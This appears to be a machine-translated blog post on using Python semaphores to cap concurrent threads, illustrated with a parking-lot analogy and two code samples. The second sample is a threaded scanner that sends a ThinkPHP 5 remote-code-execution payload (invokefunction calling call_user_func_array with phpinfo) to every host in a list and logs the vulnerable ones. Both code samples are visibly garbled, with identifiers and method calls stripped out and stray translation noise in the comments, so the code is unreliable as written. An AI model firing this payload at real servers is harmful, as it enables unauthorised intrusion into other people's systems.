I wrote an article about python multithreading implementation, but the result is not the best, the writing style is not very good. Through online learning, I also learned about the semaphore thing.
Baidu gives the explanation: Semaphore is a facility used in a multi-threaded environment, the facility is responsible for coordinating the various threads to ensure that they can correctly and reasonably use the facilities of public resources, but also the operating system is used to control the amount of process synchronization mutual exclusion.
An interesting example: Suppose there are only three parking spaces in a parking lot, and all three spaces are empty at the beginning. If five cars come in at the same time, the janitor allows three of them to enter unimpeded, and then releases the barricade, leaving the rest of the cars to have to wait at the entrance, and all the cars that come in after that will have to wait at the entrance as well. When a car leaves the parking lot, the gatekeeper learns of it, opens the barricade, puts in one, and if two more leave, two more can be put in, and so on.
In short, it also means being able to control the number of concurrent multithreads.
A brief note on how to implement thread count control via semaphore.
Simple code:
#! -*-coding: utf-8-*- import threading import time class test(): # Inherit the threading class def __init__(self, i, sem): super(test, self).__init__() # Inherit python's constructor methods, this is the way python2 is written, python3 can directly super(). __init__() = i = sem def run(self): (0.1) print("the test i is : " + str()) () # of threads released, thread count plus 1 if __name__ == '__main__': sem = (5) # Set the maximum number of threads that can be executed simultaneously for i in range(50): () #Get threads, number of available threads minus 1 t = test(i, sem) # Passing values to executing functions () #Execute the function sem = (5) #Set the number of threads that can be opened at the same time,This is the place for5classifier for individual things or people, general, catch-all classifier
Each time the function is executed, a thread is acquired, (); each time the function is executed, a thread is released, (). As long as the number of threads in acquire() reaches the maximum number (here 5), the following threads will have to wait for the previously acquired threads to finish executing the function before releasing them, and then the following threads will be able to continue executing.
The whole process is actually quite simple to understand.
I wrote a multi-threaded script with 10 threads on at a time before, but the method wasn't good enough, so I changed it a bit this time with this method and posted it here (scanning script to scan tp5 for code execution vulnerabilities):
# -*- coding:UTF-8 -*- import requests import threading import time import sys class check(): # Determine if an executable function exists for this vulnerability def __init__(self, url, sem): super(check, self).__init__() # Inherit the constructor method of the threading class, as written in python3 super(). __init__() = url = sem def run(self): (0.2) parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" try: responce = (url = , params = parameters) body = if ('PHP Extension') != -1: with open("", "a+") as f1: ("A tp5 remote code execution vulnerability exists:" + + "\n") print("[+] " + ) else: print("[-] " + ) except Exception,err: print("connect failed") pass () # Finish executing the function, release the thread, and the thread count is increased by 1 class host(): # Traversing file operations def __init__(self, sem): super(host, self).__init__() # Inherit the constructor method of the threading class, as written in python3 super(). __init__() = sem def run(self): with open([1], "r") as f: for host in (): () #Traversing one gains a thread until it reaches the maximum host = "http://" + () host_thread = check(host, ) host_thread.start() # Execute the check() executable function if __name__ == '__main__': sem = (10) # Maximum number of threads is 10 thread = host(sem) # Pass the sem value ()
to this article on python multithreaded semaphore to achieve the number of threads to control the example of the article is introduced to this, more related python threads to control the content of the number of searches for my previous articles or continue to browse the following articles hope that you will support me in the future more!